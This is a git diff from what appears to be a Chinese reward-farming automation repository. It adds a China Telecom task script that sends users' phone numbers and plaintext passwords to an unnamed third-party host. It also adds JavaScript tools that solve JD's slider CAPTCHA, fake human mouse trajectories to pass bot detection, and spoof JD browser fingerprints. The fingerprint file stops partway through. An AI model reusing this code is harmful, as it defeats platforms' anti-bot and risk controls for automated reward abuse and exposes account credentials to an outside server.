"CtClient;9.2.0;Android;10;MI 9;" + base64_mobile} + + +def format_msg(): + str1 = '' + for item in msg_list: + str1 += str(item) + "\r\n" + return str1 + + +def get_ticket(mobile, password, msg): + login_body = requests.get(url="{}/telecom/getUserLoginNormal".format(host), + params={"mobile": mobile, "password": password}).json() + login_ret = requests.post(url="https://appgologin.189.cn:9031/login/client/userLoginNormal", + json=login_body, + headers=app_headers).json() + if login_ret['responseData']['resultCode'] != '0000': + msg.append("登录失败, " + login_ret['responseData']['resultDesc']) + print("登录失败, " + login_ret['responseData']['resultDesc']) + return '' + msg.append('登录成功') + print('登录成功') + token = login_ret['responseData']['data']['loginSuccessResult']['token'] + user_id = login_ret['responseData']['data']['loginSuccessResult']['userId'] + + ticket_body = requests.get(url="{}/telecom/getTicket".format(host), + params={"mobile": mobile, "token": token, "userId": user_id}).text + ticket_ret = requests.post(url="https://appgo.189.cn:9031/map/clientXML", + data=ticket_body, + headers={"Content-Type":"text/xml", **app_headers}).text + collection = xmldom.parseString(ticket_ret).documentElement + ticket = collection.getElementsByTagName("Ticket")[0].childNodes[0].data + return requests.get(url="{}/telecom/decryptTicket".format(host), params={"ticket": ticket}).text + + +def xbk_video(ticket, mobile, msg): + msg.append(mobile + " 开始执行星播客视频任务...") + print(mobile + " 开始执行星播客视频任务...") + h5_headers = get_h5_headers(mobile) + res = requests.get(url="https://xbk.189.cn/xbkapi/api/auth/jump?userID="+ticket+"&version=$version$&type=newHome&tab=1&l=renwu",allow_redirects=False) + location = urllib.parse.unquote(res.headers['location']) + usercode = re.search(r'usercode=(.+?)&', location).group(1) + token_ret = requests.post(url="https://xbk.189.cn/xbkapi/api/auth/userinfo/codeToken", json={"usercode": usercode}, headers=h5_headers).json() + token = token_ret['data']['token'] + xbk_headers={"authorization": "Bearer " + token, **h5_headers} + # 获取视频列表 + video_ret = requests.get(url="https://xbk.189.cn/xbkapi/lteration/index/recommend/floorRecommend?provinceCode=18&p=1", headers=xbk_headers).json() + article_id = video_ret['data'][0]['id'] + # 播放 + requests.post(url="https://xbk.189.cn/xbkapi/lteration/liveTask/index/watchVideo", json={"articleId": article_id}, headers=xbk_headers) + # 领取豆 + while True: + ret = requests.post(url="https://xbk.189.cn/xbkapi/lteration/liveTask/index/watchVideo", json={"articleId": article_id}, headers=xbk_headers).json() + if ret['code'] == 0: + msg.append("成功领取 5 豆") + print("成功领取 5 豆") + else: + msg.append(ret['msg']) + print(ret['msg']) + break + # 等待15s + time.sleep(16) + + +def xbk_live(ticket, mobile, msg): + msg.append(mobile + " 开始执行星播客直播任务...") + print(mobile + " 开始执行星播客直播任务...") + h5_headers = get_h5_headers(mobile) + res = requests.get(url="https://xbk.189.cn/xbkapi/api/auth/jump?userID="+ticket+"&version=$version$&type=room&tab=1&l=renwu",allow_redirects=False) + location = urllib.parse.unquote(res.headers['location']) + usercode = re.search(r'usercode=(.+?)&', location).group(1) + live_id = re.search(r'liveId=(.+?)&', location).group(1) + period = re.search(r'period=(.+?)&', location).group(1) + + token_ret = requests.post(url="https://xbk.189.cn/xbkapi/api/auth/userinfo/codeToken", json={"usercode": usercode}, headers=h5_headers).json() + token = token_ret['data']['token'] + xbk_headers={"authorization": "Bearer " + token, **h5_headers} + + data = {"liveId": live_id, "period": period} + # 领取豆 + while True: + init_ret = requests.post(url="https://xbk.189.cn/xbkapi/lteration/liveTask/index/watchLiveInit", json=data, headers=xbk_headers).json() + key = init_ret['data'] + #等待15秒 + time.sleep(16) + watch_ret = requests.post(url="https://xbk.189.cn/xbkapi/lteration/liveTask/index/watchLive", json={**data, "key": key}, headers=xbk_headers).json() + if watch_ret['code'] == 0: + msg.append("成功领取 5 豆") + print("成功领取 5 豆") + else: + msg.append(watch_ret['msg']) + print(watch_ret['msg']) + break + + +def share_to_get_coin(ticket, mobile, msg): + msg.append(mobile + " 开始执行分享得豆任务...") + print(mobile + " 开始执行分享得豆任务...") + h5_headers = get_h5_headers(mobile) + data = "mpId=goldcoin&ticket="+ticket+"&srcSysID=35000&sceneSources=3&version=9.2.0" + login_ret = requests.post(url="https://dxhd.189.cn:7081/actcenter/v1/goldcoinuser/login.do", params=data, headers=h5_headers).json() + session = login_ret['module']['session'] + data = "activityId=telecomrecommend01&session=" + session + ret = requests.post(url="https://dxhd.189.cn:7081/actcenter/v1/goldcoinuser/shareToGetCoin.do", params=data, headers=h5_headers).json() + if ret['success']: + msg.append('获得 20 豆') + print('获得 20 豆') + else: + msg.append('今日已分享') + print('今日已分享') + + +def main_handler(event, context): + l = [] + for config in config_list: + p = threading.Thread(target=telecom_task, args=(config,)) + l.append(p) + p.start() + for i in l: + i.join() + content = format_msg() + send('电信签到任务', content) + print(content) + return content + + +if __name__ == '__main__': + main_handler("", "") diff --git a/utils/.DS_Store b/utils/.DS_Store new file mode 100644 index 0000000..ff78b20 Binary files /dev/null and b/utils/.DS_Store differ diff --git a/utils/JDJRValidator.js b/utils/JDJRValidator.js new file mode 100644 index 0000000..b9dcc81 --- /dev/null +++ b/utils/JDJRValidator.js @@ -0,0 +1,381 @@ +const http = require('http'); +const stream = require('stream'); +const zlib = require('zlib'); +const vm = require('vm'); +const { createCanvas, Image } = require('canvas'); + +Math.avg = function average() { + var sum= 0; + var len = this.length; + for (var i = 0; i < len; i++) { + sum += this[i]; + } + return sum / len; +}; +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} + +const canvas = createCanvas(); +const PUZZLE_GAP = 8; +const PUZZLE_PAD = 10; +class PuzzleRecognizer { + constructor(bg, patch, y) { + const imgBg = new Image(); + const imgPatch = new Image(); + imgBg.src = bg; + imgPatch.src = patch; + this.bg = imgBg; + this.patch = imgPatch; + this.y = y; + this.w = imgBg.naturalWidth; + this.h = imgBg.naturalHeight; + this.ctx = canvas.getContext('2d'); + } + + run() { + const { ctx, w, h } = this; + canvas.width = w; + canvas.height= h; + ctx.clearRect(0, 0, w, h); + ctx.drawImage(this.bg, 0, 0, w, h); + return this.recognize(); + } + + recognize() { + const { ctx, w: width } = this; + const { naturalHeight, naturalWidth } = this.patch; + const posY = this.y + PUZZLE_PAD + ((naturalHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + const cData = ctx.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + for (let x = 0; x < width; x++) { + var sum = 0; + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + sum += luma; + } + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = naturalWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2*4; i < len; i++) { + const left = (lumas[i] + lumas[i+1]) / n; + const right = (lumas[i+2] + lumas[i+3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi+1]) / n; + const mRigth = (lumas[mi+2] + lumas[mi+3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i+2,margin+i+2); + const median = pieces.sort((x1,x2)=>x1-x2)[20]; + const avg = Math.avg(pieces); + if (median > left || median > mRigth) return; + if (avg > 100) return; + return i+n-radius; + } + } + return -1; + } +} + +const DATA = { + "appId": "17839d5db83", + "scene": "cww", + "product": "embed", + "lang": "zh_CN", +}; +const SERVER = 'iv.jd.com'; +class JDJRValidator { + constructor() { + this.data = {}; + this.x = 0; + this.t = Date.now(); + this.c = {}; + } + + async run() { + const tryRecognize = async () => { + const x = await this.recognize(); + + if (x > 0) { + return x; + } + // retry + return await tryRecognize(); + }; + const puzzleX = await tryRecognize(); + const pos = new MousePosFaker(puzzleX).run(); + const d = getCoordinate(pos); + + await sleep(pos[pos.length-1][2] - Date.now()); + const result = await JDJRValidator.jsonp('/slide/s.html', { d, ...this.data }); + + if (result.message === 'success') { + this.c = result; + console.log(result); + } else { + console.count(JSON.stringify(result)); + await sleep(300); + await this.run(); + } + } + + async recognize() { + const data = await JDJRValidator.jsonp('/slide/g.html', { e: '' }); + const { bg, patch, y } = data; + const uri = 'data:image/png;base64,'; + const re = new PuzzleRecognizer(uri+bg, uri+patch, y); + const puzzleX = re.run(); + + if (puzzleX > 0) { + this.data = { + c: data.challenge, + w: re.w, + e: '', + s: '', + o: '', + }; + this.x = puzzleX; + } + return puzzleX; + } + + async report(n) { + console.time('PuzzleRecognizer'); + let count = 0; + + for (let i = 0; i < n; i++) { + const x = await this.recognize(); + + if (x > 0) count ++; + if (i % 50 === 0) { + console.log('%f\%', (i/n)*100); + } + } + + console.log('successful: %f\%', (count/n)*100); + console.timeEnd('PuzzleRecognizer'); + } + + static jsonp(api, data = {}) { + return new Promise((resolve, reject) => { + const fnId = `jsonp_${String(Math.random()).replace('.', '')}`; + const extraData = { callback: fnId }; + const query = new URLSearchParams({ ...DATA, ...extraData, ...data }).toString(); + const url = `http://${SERVER}${api}?${query}`; + const headers = { + 'Accept': '*/*', + 'Accept-Encoding': 'gzip,deflate,br', + 'Accept-Language': 'zh-CN,en-US', + 'Connection': 'keep-alive', + 'Host': SERVER, + 'Proxy-Connection': 'keep-alive', + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2wuqXrZrhygTQzYA7VufBEpj4amH/index.html', + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36', + }; + const req = http.get(url, { headers }, (response) => { + let res = response; + if (res.headers['content-encoding'] === 'gzip') { + const unzipStream = new stream.PassThrough(); + stream.pipeline( + response, + zlib.createGunzip(), + unzipStream, + reject, + ); + res = unzipStream; + } + res.setEncoding('utf8'); + + let rawData = ''; + + res.on('data', (chunk) => rawData += chunk); + res.on('end', () => { + try { + const ctx = { + [fnId]: (data) => ctx.data = data, + data: {}, + }; + + vm.createContext(ctx); + vm.runInContext(rawData, ctx); + + res.resume(); + resolve(ctx.data); + } catch (e) { + reject(e); + } + }); + }); + + req.on('error', reject); + req.end(); + }); + } +} +function getCoordinate(c) { + function string10to64(d) { + var c = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-~".split("") + , b = c.length + , e = +d + , a = []; + do { + mod = e % b; + e = (e - mod) / b; + a.unshift(c[mod]) + } while (e); + return a.join("") + } + function prefixInteger (a, b) { + return (Array(b).join(0) + a).slice(-b) + } + function pretreatment(d, c, b) { + var e = string10to64(Math.abs(d)); + var a = ""; + if (!b) { + a += (d > 0 ? "1" : "0") + } + a += prefixInteger(e, c); + return a + } + + var b = new Array(); + for (var e = 0; e < c.length; e++) { + if (e == 0) { + b.push(pretreatment(c[e][0] < 262143 ? c[e][0] : 262143, 3, true)); + b.push(pretreatment(c[e][1] < 16777215 ? c[e][1] : 16777215, 4, true)); + b.push(pretreatment(c[e][2] < 4398046511103 ? c[e][2] : 4398046511103, 7, true)) + } else { + var a = c[e][0] - c[e - 1][0]; + var f = c[e][1] - c[e - 1][1]; + var d = c[e][2] - c[e - 1][2]; + b.push(pretreatment(a < 4095 ? a : 4095, 2, false)); + b.push(pretreatment(f < 4095 ? f : 4095, 2, false)); + b.push(pretreatment(d < 16777215 ? d : 16777215, 4, true)) + } + } + return b.join("") +} + +const HZ = 60; +class MousePosFaker { + constructor(puzzleX) { + this.x = parseInt(Math.random()*20+20, 10); + this.y = parseInt(Math.random()*80+80, 10); + this.t = Date.now(); + this.pos = [[this.x, this.y, this.t]]; + this.minDuration = parseInt(1000 / HZ, 10); + // this.puzzleX = puzzleX; + this.puzzleX = puzzleX + parseInt(Math.random()*2-1, 10); + + this.STEP = parseInt(Math.random()*6+5, 10); + this.DURATION = parseInt(Math.random()*7+14, 10)*100; + // [9,1600] [10,1400] + this.STEP = 9; + // this.DURATION = 2000; + //console.log(this.STEP, this.DURATION); + } + + run() { + const perX = this.puzzleX / this.STEP; + const perDuration = this.DURATION / this.STEP; + const firstPos = [this.x-parseInt(Math.random()*6, 10), this.y+parseInt(Math.random()*11, 10), this.t]; + + this.pos.unshift(firstPos); + this.stepPos(perX, perDuration); + this.fixPos(); + + const reactTime = parseInt(60+Math.random()*100, 10); + const lastIdx = this.pos.length - 1; + const lastPos = [this.pos[lastIdx][0], this.pos[lastIdx][1], this.pos[lastIdx][2]+reactTime]; + + this.pos.push(lastPos); + return this.pos; + } + + stepPos(x, duration) { + let n = 0; + const sqrt2 = Math.sqrt(2); + for (let i = 1; i <= this.STEP; i++) { + n += 1/i; + } + for (let i = 0; i < this.STEP; i++) { + x = this.puzzleX / (n*(i+1)); + const currX = parseInt((Math.random()*30-15)+x, 10); + const currY = parseInt(Math.random()*7-3, 10); + const currDuration = parseInt((Math.random()*0.4+0.8)*duration, 10); + + this.moveToAndCollect({ + x: currX, + y: currY, + duration: currDuration, + }); + } + } + + fixPos() { + const actualX = this.pos[this.pos.length - 1][0] - this.pos[1][0]; + const deviation = this.puzzleX - actualX; + + if (Math.abs(deviation) > 4) { + this.moveToAndCollect({ + x: deviation, + y: parseInt(Math.random()*8-3, 10), + duration: 250, + }); + } + } + + moveToAndCollect({ x, y, duration }) { + let movedX = 0; + let movedY = 0; + let movedT = 0; + const times = duration / this.minDuration; + let perX = x / times; + let perY = y / times; + let padDuration = 0; + + if (Math.abs(perX) < 1) { + padDuration = duration / Math.abs(x) - this.minDuration; + perX = 1; + perY = y / Math.abs(x); + } + + while (Math.abs(movedX) < Math.abs(x)) { + const rDuration = parseInt(padDuration + Math.random()*16-4, 10); + + movedX += perX + Math.random()*2-1; + movedY += perY; + movedT += this.minDuration + rDuration; + + const currX = parseInt(this.x + movedX, 10); + const currY = parseInt(this.y + movedY, 10); + const currT = this.t + movedT; + + this.pos.push([currX, currY, currT]); + } + + this.x += x; + this.y += y; + this.t += Math.max(duration, movedT); + } +} + +async function getResult(){ + let aaa = new JDJRValidator(); + await aaa.run(); + return `&validate=${aaa.c['validate']}`; +} + +PuzzleRecognizer.getResult = getResult; +module.exports = PuzzleRecognizer; + +// new JDJRValidator().report(1000); +//console.log(getCoordinate(new MousePosFaker(100).run())+'1111'); diff --git a/utils/JDJRValidator_Pure.js b/utils/JDJRValidator_Pure.js new file mode 100644 index 0000000..88fc307 --- /dev/null +++ b/utils/JDJRValidator_Pure.js @@ -0,0 +1,553 @@ +/* + 由于 canvas 依赖系统底层需要编译且预编译包在 github releases 上,改用另一个纯 js 解码图片。若想继续使用 canvas 可调用 runWithCanvas 。 + + 添加 injectToRequest 用以快速修复需验证的请求。eg: $.get=injectToRequest($.get.bind($)) +*/ +const https = require('https'); +const http = require('http'); +const stream = require('stream'); +const zlib = require('zlib'); +const vm = require('vm'); +const PNG = require('png-js'); +const UA = require('../USER_AGENTS.js').USER_AGENT; + + +Math.avg = function average() { + var sum = 0; + var len = this.length; + for (var i = 0; i < len; i++) { + sum += this[i]; + } + return sum / len; +}; + +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} + +class PNGDecoder extends PNG { + constructor(args) { + super(args); + this.pixels = []; + } + + decodeToPixels() { + return new Promise((resolve) => { + try { + this.decode((pixels) => { + this.pixels = pixels; + resolve(); + }); + } catch (e) { + console.info(e) + } + }); + } + + getImageData(x, y, w, h) { + const {pixels} = this; + const len = w * h * 4; + const startIndex = x * 4 + y * (w * 4); + + return {data: pixels.slice(startIndex, startIndex + len)}; + } +} + +const PUZZLE_GAP = 8; +const PUZZLE_PAD = 10; + +class PuzzleRecognizer { + constructor(bg, patch, y) { + // console.log(bg); + const imgBg = new PNGDecoder(Buffer.from(bg, 'base64')); + const imgPatch = new PNGDecoder(Buffer.from(patch, 'base64')); + + // console.log(imgBg); + + this.bg = imgBg; + this.patch = imgPatch; + this.rawBg = bg; + this.rawPatch = patch; + this.y = y; + this.w = imgBg.width; + this.h = imgBg.height; + } + + async run() { + try { + await this.bg.decodeToPixels(); + await this.patch.decodeToPixels(); + + return this.recognize(); + } catch (e) { + console.info(e) + } + } + + recognize() { + const {ctx, w: width, bg} = this; + const {width: patchWidth, height: patchHeight} = this.patch; + const posY = this.y + PUZZLE_PAD + ((patchHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = bg.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + + for (let x = 0; x < width; x++) { + var sum = 0; + + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + + sum += luma; + } + + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = patchWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } + + runWithCanvas() { + const {createCanvas, Image} = require('canvas'); + const canvas = createCanvas(); + const ctx = canvas.getContext('2d'); + const imgBg = new Image(); + const imgPatch = new Image(); + const prefix = 'data:image/png;base64,'; + + imgBg.src = prefix + this.rawBg; + imgPatch.src = prefix + this.rawPatch; + const {naturalWidth: w, naturalHeight: h} = imgBg; + canvas.width = w; + canvas.height = h; + ctx.clearRect(0, 0, w, h); + ctx.drawImage(imgBg, 0, 0, w, h); + + const width = w; + const {naturalWidth, naturalHeight} = imgPatch; + const posY = this.y + PUZZLE_PAD + ((naturalHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = ctx.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + + for (let x = 0; x < width; x++) { + var sum = 0; + + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + + sum += luma; + } + + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = naturalWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } +} + +const DATA = { + "appId": "17839d5db83", + "product": "embed", + "lang": "zh_CN", +}; +const SERVER = '61.49.99.122'; + +class JDJRValidator { + constructor() { + this.data = {}; + this.x = 0; + this.t = Date.now(); + } + + async run(scene) { + try { + const tryRecognize = async () => { + const x = await this.recognize(scene); + + if (x > 0) { + return x; + } + // retry + return await tryRecognize(); + }; + const puzzleX = await tryRecognize(); + // console.log(puzzleX); + const pos = new MousePosFaker(puzzleX).run(); + const d = getCoordinate(pos); + + // console.log(pos[pos.length-1][2] -Date.now()); + // await sleep(4500); + await sleep(pos[pos.length - 1][2] - Date.now()); + const result = await JDJRValidator.jsonp('/slide/s.html', {d, ...this.data}, scene); + + if (result.message === 'success') { + // console.log(result); + console.log('JDJR验证用时: %fs', (Date.now() - this.t) / 1000); + return result; + } else { + console.count("验证失败"); + // console.count(JSON.stringify(result)); + await sleep(300); + return await this.run(scene); + } + } catch (e) { + console.info(e) + } + } + + async recognize(scene) { + try { + const data = await JDJRValidator.jsonp('/slide/g.html', {e: ''}, scene); + const {bg, patch, y} = data; + // const uri = 'data:image/png;base64,'; + // const re = new PuzzleRecognizer(uri+bg, uri+patch, y); + const re = new PuzzleRecognizer(bg, patch, y); + const puzzleX = await re.run(); + + if (puzzleX > 0) { + this.data = { + c: data.challenge, + w: re.w, + e: '', + s: '', + o: '', + }; + this.x = puzzleX; + } + return puzzleX; + } catch (e) { + console.info(e) + } + } + + async report(n) { + console.time('PuzzleRecognizer'); + let count = 0; + + for (let i = 0; i < n; i++) { + const x = await this.recognize(); + + if (x > 0) count++; + if (i % 50 === 0) { + // console.log('%f\%', (i / n) * 100); + } + } + + console.log('验证成功: %f\%', (count / n) * 100); + console.timeEnd('PuzzleRecognizer'); + } + + static jsonp(api, data = {}, scene) { + return new Promise((resolve, reject) => { + const fnId = `jsonp_${String(Math.random()).replace('.', '')}`; + const extraData = {callback: fnId}; + const query = new URLSearchParams({...DATA, ...{"scene": scene}, ...extraData, ...data}).toString(); + const url = `http://${SERVER}${api}?${query}`; + const headers = { + 'Accept': '*/*', + 'Accept-Encoding': 'gzip,deflate,br', + 'Accept-Language': 'zh-CN,en-US', + 'Connection': 'keep-alive', + 'Host': SERVER, + 'Proxy-Connection': 'keep-alive', + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2wuqXrZrhygTQzYA7VufBEpj4amH/index.html', + 'User-Agent': UA, + }; + const req = http.get(url, {headers}, (response) => { + let res = response; + if (res.headers['content-encoding'] === 'gzip') { + const unzipStream = new stream.PassThrough(); + stream.pipeline( + response, + zlib.createGunzip(), + unzipStream, + reject, + ); + res = unzipStream; + } + res.setEncoding('utf8'); + + let rawData = ''; + + res.on('data', (chunk) => rawData += chunk); + res.on('end', () => { + try { + const ctx = { + [fnId]: (data) => ctx.data = data, + data: {}, + }; + + vm.createContext(ctx); + vm.runInContext(rawData, ctx); + + // console.log(ctx.data); + res.resume(); + resolve(ctx.data); + } catch (e) { + reject(e); + } + }); + }); + + req.on('error', reject); + req.end(); + }); + } +} + +function getCoordinate(c) { + function string10to64(d) { + var c = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-~".split("") + , b = c.length + , e = +d + , a = []; + do { + mod = e % b; + e = (e - mod) / b; + a.unshift(c[mod]) + } while (e); + return a.join("") + } + + function prefixInteger(a, b) { + return (Array(b).join(0) + a).slice(-b) + } + + function pretreatment(d, c, b) { + var e = string10to64(Math.abs(d)); + var a = ""; + if (!b) { + a += (d > 0 ? "1" : "0") + } + a += prefixInteger(e, c); + return a + } + + var b = new Array(); + for (var e = 0; e < c.length; e++) { + if (e == 0) { + b.push(pretreatment(c[e][0] < 262143 ? c[e][0] : 262143, 3, true)); + b.push(pretreatment(c[e][1] < 16777215 ? c[e][1] : 16777215, 4, true)); + b.push(pretreatment(c[e][2] < 4398046511103 ? c[e][2] : 4398046511103, 7, true)) + } else { + var a = c[e][0] - c[e - 1][0]; + var f = c[e][1] - c[e - 1][1]; + var d = c[e][2] - c[e - 1][2]; + b.push(pretreatment(a < 4095 ? a : 4095, 2, false)); + b.push(pretreatment(f < 4095 ? f : 4095, 2, false)); + b.push(pretreatment(d < 16777215 ? d : 16777215, 4, true)) + } + } + return b.join("") +} + +const HZ = 5; + +class MousePosFaker { + constructor(puzzleX) { + this.x = parseInt(Math.random() * 20 + 20, 10); + this.y = parseInt(Math.random() * 80 + 80, 10); + this.t = Date.now(); + this.pos = [[this.x, this.y, this.t]]; + this.minDuration = parseInt(1000 / HZ, 10); + // this.puzzleX = puzzleX; + this.puzzleX = puzzleX + parseInt(Math.random() * 2 - 1, 10); + + this.STEP = parseInt(Math.random() * 6 + 5, 10); + this.DURATION = parseInt(Math.random() * 7 + 14, 10) * 100; + // [9,1600] [10,1400] + this.STEP = 9; + // this.DURATION = 2000; + // console.log(this.STEP, this.DURATION); + } + + run() { + const perX = this.puzzleX / this.STEP; + const perDuration = this.DURATION / this.STEP; + const firstPos = [this.x - parseInt(Math.random() * 6, 10), this.y + parseInt(Math.random() * 11, 10), this.t]; + + this.pos.unshift(firstPos); + this.stepPos(perX, perDuration); + this.fixPos(); + + const reactTime = parseInt(60 + Math.random() * 100, 10); + const lastIdx = this.pos.length - 1; + const lastPos = [this.pos[lastIdx][0], this.pos[lastIdx][1], this.pos[lastIdx][2] + reactTime]; + + this.pos.push(lastPos); + return this.pos; + } + + stepPos(x, duration) { + let n = 0; + const sqrt2 = Math.sqrt(2); + for (let i = 1; i <= this.STEP; i++) { + n += 1 / i; + } + for (let i = 0; i < this.STEP; i++) { + x = this.puzzleX / (n * (i + 1)); + const currX = parseInt((Math.random() * 30 - 15) + x, 10); + const currY = parseInt(Math.random() * 7 - 3, 10); + const currDuration = parseInt((Math.random() * 0.4 + 0.8) * duration, 10); + + this.moveToAndCollect({ + x: currX, + y: currY, + duration: currDuration, + }); + } + } + + fixPos() { + const actualX = this.pos[this.pos.length - 1][0] - this.pos[1][0]; + const deviation = this.puzzleX - actualX; + + if (Math.abs(deviation) > 4) { + this.moveToAndCollect({ + x: deviation, + y: parseInt(Math.random() * 8 - 3, 10), + duration: 250, + }); + } + } + + moveToAndCollect({x, y, duration}) { + let movedX = 0; + let movedY = 0; + let movedT = 0; + const times = duration / this.minDuration; + let perX = x / times; + let perY = y / times; + let padDuration = 0; + + if (Math.abs(perX) < 1) { + padDuration = duration / Math.abs(x) - this.minDuration; + perX = 1; + perY = y / Math.abs(x); + } + + while (Math.abs(movedX) < Math.abs(x)) { + const rDuration = parseInt(padDuration + Math.random() * 16 - 4, 10); + + movedX += perX + Math.random() * 2 - 1; + movedY += perY; + movedT += this.minDuration + rDuration; + + const currX = parseInt(this.x + movedX, 10); + const currY = parseInt(this.y + movedY, 10); + const currT = this.t + movedT; + + this.pos.push([currX, currY, currT]); + } + + this.x += x; + this.y += y; + this.t += Math.max(duration, movedT); + } +} + +// new JDJRValidator().run(); +// new JDJRValidator().report(1000); +// console.log(getCoordinate(new MousePosFaker(100).run())); + +function injectToRequest2(fn, scene = 'cww') { + return (opts, cb) => { + fn(opts, async (err, resp, data) => { + try { + if (err) { + console.error('验证请求失败.'); + return; + } + if (data.search('验证') > -1) { + console.log('JDJR验证中......'); + const res = await new JDJRValidator().run(scene); + if (res) { + opts.url += `&validate=${res.validate}`; + } + fn(opts, cb); + } else { + cb(err, resp, data); + } + } catch (e) { + console.info(e) + } + }); + }; +} + +async function injectToRequest(scene = 'cww') { + console.log('JDJR验证中......'); + const res = await new JDJRValidator().run(scene); + return `&validate=${res.validate}` +} + +module.exports = { + sleep, + injectToRequest, + injectToRequest2 +} diff --git a/utils/JDSignValidator.js b/utils/JDSignValidator.js new file mode 100644 index 0000000..a427a61 --- /dev/null +++ b/utils/JDSignValidator.js @@ -0,0 +1,2080 @@ +const UA = require('../USER_AGENTS.js').USER_AGENT; + +const navigator = { + userAgent: UA, + plugins: { length: 0 }, + language: "zh-CN", +}; +const screen = { + availHeight: 812, + availWidth: 375, + colorDepth: 24, + height: 812, + width: 375, + pixelDepth: 24, + +} +const window = { + +} +const document = { + location: { + "ancestorOrigins": {}, + "href": "https://prodev.m.jd.com/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + "origin": "https://prodev.m.jd.com", + "protocol": "https:", + "host": "prodev.m.jd.com", + "hostname": "prodev.m.jd.com", + "port": "", + "pathname": "/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + "search": "", + "hash": "" + } +}; +var start_time = (new Date).getTime(), + _jdfp_canvas_md5 = "", + _jdfp_webgl_md5 = "", + _fingerprint_step = 1, + _JdEid = "", + _eidFlag = !1, + risk_jd_local_fingerprint = "", + _jd_e_joint_; + + function t(a) { + if (null == a || void 0 == a || "" == a) return "NA"; + if (null == a || void 0 == a || "" == a) var b = ""; + else { + b = []; + for (var c = 0; c < 8 * a.length; c += 8) b[c >> 5] |= (a.charCodeAt(c / 8) & 255) << c % 32 + } + a = 8 * a.length; + b[a >> 5] |= 128 << a % 32; + b[(a + 64 >>> 9 << 4) + 14] = a; + a = 1732584193; + c = -271733879; + for (var l = -1732584194, h = 271733878, q = 0; q < b.length; q += 16) { + var z = a, + C = c, + D = l, + B = h; + a = v(a, c, l, h, b[q + 0], 7, -680876936); + h = v(h, a, c, l, b[q + 1], 12, -389564586); + l = v(l, h, a, c, b[q + 2], 17, 606105819); + c = v(c, l, h, a, b[q + 3], 22, -1044525330); + a = v(a, c, l, h, b[q + 4], 7, -176418897); + h = v(h, a, c, l, b[q + 5], 12, 1200080426); + l = v(l, h, a, c, b[q + 6], 17, -1473231341); + c = v(c, l, h, a, b[q + 7], 22, -45705983); + a = v(a, c, l, h, b[q + 8], 7, 1770035416); + h = v(h, a, c, l, b[q + 9], 12, -1958414417); + l = v(l, h, a, c, b[q + 10], 17, -42063); + c = v(c, l, h, a, 